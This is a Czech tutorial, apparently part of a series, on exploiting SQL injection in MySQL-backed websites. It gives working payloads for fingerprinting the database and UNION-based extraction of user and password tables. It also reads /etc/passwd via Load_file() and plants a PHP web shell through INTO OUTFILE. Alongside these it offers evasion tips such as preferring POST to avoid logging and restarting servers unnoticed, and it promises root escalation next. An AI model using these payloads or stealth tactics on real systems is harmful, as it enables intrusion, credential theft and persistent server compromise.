Detaily o databázi
Začněme typem databáze, protože zjištění verze se podle něj liší.
Většina nezabezpečených stránek poběží na MySQL. Nemám to statisticky podložené, shodneme se ale, že klíčový business použije databázi od Oracle nebo Microsoftu, a to není není sféra, kde programátor nechá neošetřený vstup. MySQL potkáme nejčastěji, výjimečně PostgreSQL.
Snad ve všech databázích funguje tradiční blokový komentář /* */
. Řádkové komentáře se liší #
(MySQL) a --
(PostgreSQL, MySQL). Mimochodem, není-li za pomlčkovým komentářem mezera, může se chovat všelijak; minimálně jednou jsem se na to nachytal a strávil čas hledáním problému. Než studovat dokumentaci a bugy konkrétní verze, je lepší občas psát takovéhle delší, někdy zbytečné, konstrukce.
Kromě těchhle tří komentářů poskytuje MySQL podporu pro podmíněné komentáře. Příkaz
SELECT /*! 2, */ 1
vrátí v MySQL dva sloupečky (2, 1)
, všude jinde jenom jeden (1)
. Podle představivosti můžeme do komentáře napsat syntaktickou nebo logickou chybu, oblíbené je dělení nulou. Pokud příkaz selže, máme tu čest pracovat s MySQL. A protože máme jenom dvě možnosti, v druhém případě očekáváme PostgreSQL. Kdybychom určili typ špatně, nic se neděje, jenom nám něco nebude fungovat podle očekávání a v ten moment můžeme vše přehodnotit. Jenom tím nejspíš ztratíme nějaký čas.
Podmíněné komentáře jsou ještě dál a pokud vykřičník následuje číslo verze, spustí se obsah pouze na revizi s touto nebo vyšší verzí.
SELECT /*!35201 1/0 */
Je zbytečné inkrementovat od nuly, můžeme intervaly půlit a dostat logaritmickou náročnost. A kromě toho, bohatě stačí znát číslo major a minor revize. Build/patch verze syntax nemění a funkčnost nepřidává.
Doporučuji kouknout na detailní SQL Injection Cheat Scheet, často citovaný tahák o SQL injekcích.
Čtení z databáze
Řekněme si, jak přes SQL injekci vypsat data z jiných tabulek, a když se poštěstí, i schémat. Slouží k tomu klíčové slovo UNION
. Že pracujete s SQL denně a skoro ho neznáte? Psát jej v kódu je trochu kontroverzní, ale jako goto
má svoje místo. Můžete si přečíst dokumentaci, ale názorné příklady jsou bezesporu lepší:
(SELECT 1) UNION (SELECT 2)
SELECT 1 UNION SELECT 2
Vrací dva řádky o jednom sloupečku (1), (2)
. Když si představíme naší SQL injekci, máme něco takového:
SELECT * FROM articles LIMIT 50 OFFSET 50 * 0 UNION SELECT 2
Jinými slovy, když dosadíme za číslo stránky 0 UNION SELECT 2
, vypíše se obsah druhého SELECT
, který máme plně pod kontrolou. Jedinou podmínkou je, že spojované tabulky mají stejný počet sloupců a často musejí mít stejný datový typ (záleží na verzi a možná i na nastavení, to nevím jistě). Protože nevíme, jak vypadá původní příkaz, musíme použít hrubou sílu. Napíšeme si nástroj, který vyzkouší 0 UNION SELECT NULL
, 0 UNION SELECT NULL, NULL
atd. Výstup, který se bude od ostatních lišit, nám řekne počet políček původní tabulky. Jestli je problém dosazovat NULL
, je nutné psát celé typy. Číslo není problém, string musíme většinou psát v šestnáctkové verzi (v SQL injection máme uvozovky k dispozici málo kdy). K tomu můžeme kupříkladu využít nějaký skript nebo naši vlastní databázi:
SELECT CONCAT('0x', HEX('text k zakódování'))
Další častý datový typ je datetime
, které má sice vlastní formát, ale nám stačí pro testování využít funkci Now()
.
Spojení často umře nad rozdílným kódováním ( ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'
). Dá se přejít klíčovým slovem COLLATE, vyžaduje ale uhádnutí kódování původních sloupců. Tradiční jsou utf8_general_ci
, utf8_czech_ci
, u některých systémových schémat mohou být různé verze latin
( latin1_general_bin
).
Metadata
Konečně máme připravenou SQL injekci – tedy union se správným počtem sloupců – ale nemáme co vypsat. Určitě můžeme zkusit pár základních názvů tabulek ( user
, uzivatel
a plurály) a sloupců ( username
, user
, nick
, pass
, passwd
, password
, jmeno
, uzivatel
, heslo
, …). Jestli se netrefíme – jako že většinou se trefíme, programátor nemá důvod je pojmenovávat jinak – tak je dobré začít v html. Vývojář chce jednotné názvy vstupů v html, proměnných v aplikaci a sloupců v databázi – to mu většinou dělá framework, můžeme se ale domnívat, že žádný nepoužívá, jinak by napsal bezpečnější aplikaci. V html nás zajímá atribut name
, ale můžeme zkusit i id
, případně podle situace. Rychlá metoda a často někoho nenapadne, asi právě pro svoji triviálnost.
Pokud hádání selže, musíme na to jít trochu víc profesionálně. Novější databáze mají information_schema
, které obsahuje mimo jiné tabulku tables
a columns
. Můžeme si zavolat
SELECT table_name FROM information_schema.tables GROUP BY table_name
SELECT table_name, column_name FROM information_schema.columns
Problém jsou starší databáze, které toto schéma nemají. Původní konstrukce SHOW TABLES
v SQL injection využít nejde; především proto, že nejde spojit přes union. Ale i u databází, které toto schéma mají, může být další bariéra: oprávnění uživatele, pod kterým se webová aplikace přihlašuje, může zakazovat toto schéma číst.
Jestli nás potkala smůla a stále nemáme tabulku uživatelů nebo sloupce, které chceme vypsat, musíme zkoušet hádat dál. A nebo můžeme zkusit rozbalit dáreček, který nám nachystal administrátor nedouk.
Čtení souborů přes databázi
MySQL má zabudovanou funkci Load_file()
, která načte a vypíše soubor. Většina souborů z /etc
je world readable, testovat můžeme kupříkladu na
SELECT Load_file('/etc/passwd')
Jenom výjimečně se nám toto poštěstí, protože uživatel musí mít povoleno oprávnění FILE
. Kromě toho nám databáze nevrátí soubor větší než konstanta max_allowed_packet
. Také nás omezuje oprávnění uživatele, pod kterým běží web server (tradičně účet www-data
, někdy httpd
nebo nobody
). A aby toho nebylo málo, výstup se ořízne na velikost datového typu sloupce, do kterého pomocí Load_file()
vybíráme.
I přes všechna omezení je toto výborný pomocník, protože si pomůžeme k zdrojovému kódu webové aplikace. Další krok je hledat nové skuliny (ideální v kombinaci s register globals). Když nyní víte, k čemu oprávnění FILE
doopravdy je, zkontrolujte svoje servery a všem uživatelům jej odeberte.
Zapisování přes databázi
Komplementárně k Load_file
existuje i SELECT INTO OUTFILE
.
SELECT "foo bar" INTO OUTFILE '/tmp/result.txt'
Zneužití je nasnadě; můžeme měnit některé soubory a vytvářet nové. Je libo vlastní php shell?
SELECT "<?php passthru($_GET['q']);" INTO OUTFILE '/var/www/document_root/shell.php'
Mimochodem, je lepší použít <?php passthru(isset($_POST['q']) ? $_POST['q'] : $_GET['q']) ?>
protože GET
se sice lépe upravuje, ale má na rozdíl od POST
omezenou délku a loguje se. Nezapomeňte, že zatím máme jenom hodně omezené možnosti. Nevidíme chybový výstup (stderr), pouze stdout, a neužijeme si aplikace, které přijímají jiný vstup než argumenty při spuštění.
Pochopitelně nesmí být zapnutý safe mode, ale přiznejme si, že tam, kde je povoleno zapisování souborů databází, bychom ho zapnutý ani nečekali. Navíc můžeme přečíst php.ini
, upravit a zapsat zpět bez safe_mode
, pokud je zapisovatelný. Jestli má webový uživatel patřičné oprávnění, můžete risknout restart serveru (ideálně tak, aby si nikdo výpadku nevšiml), obecně je lepší počkat, až si ho administrátor restartuje sám (smůla, když má běžný uptime v řádech měsíců).
Obrovské omezení je, že cesta k souboru musí být string v uvozovkách nebo apostrofech. Toto je (jediná?) výjimka, kde se nedá string předat v hexadecimálním formátu. To znamená, že při magic_quotes
máme prakticky smůlu.
Pokračování
Je nasnadě, že ani v této fázi ještě nemáme vyhráno. V dalším článku budu psát o tom, jak využít náš php shell, dostat se na root účet a k přístupu na ssh.
Přehled komentářů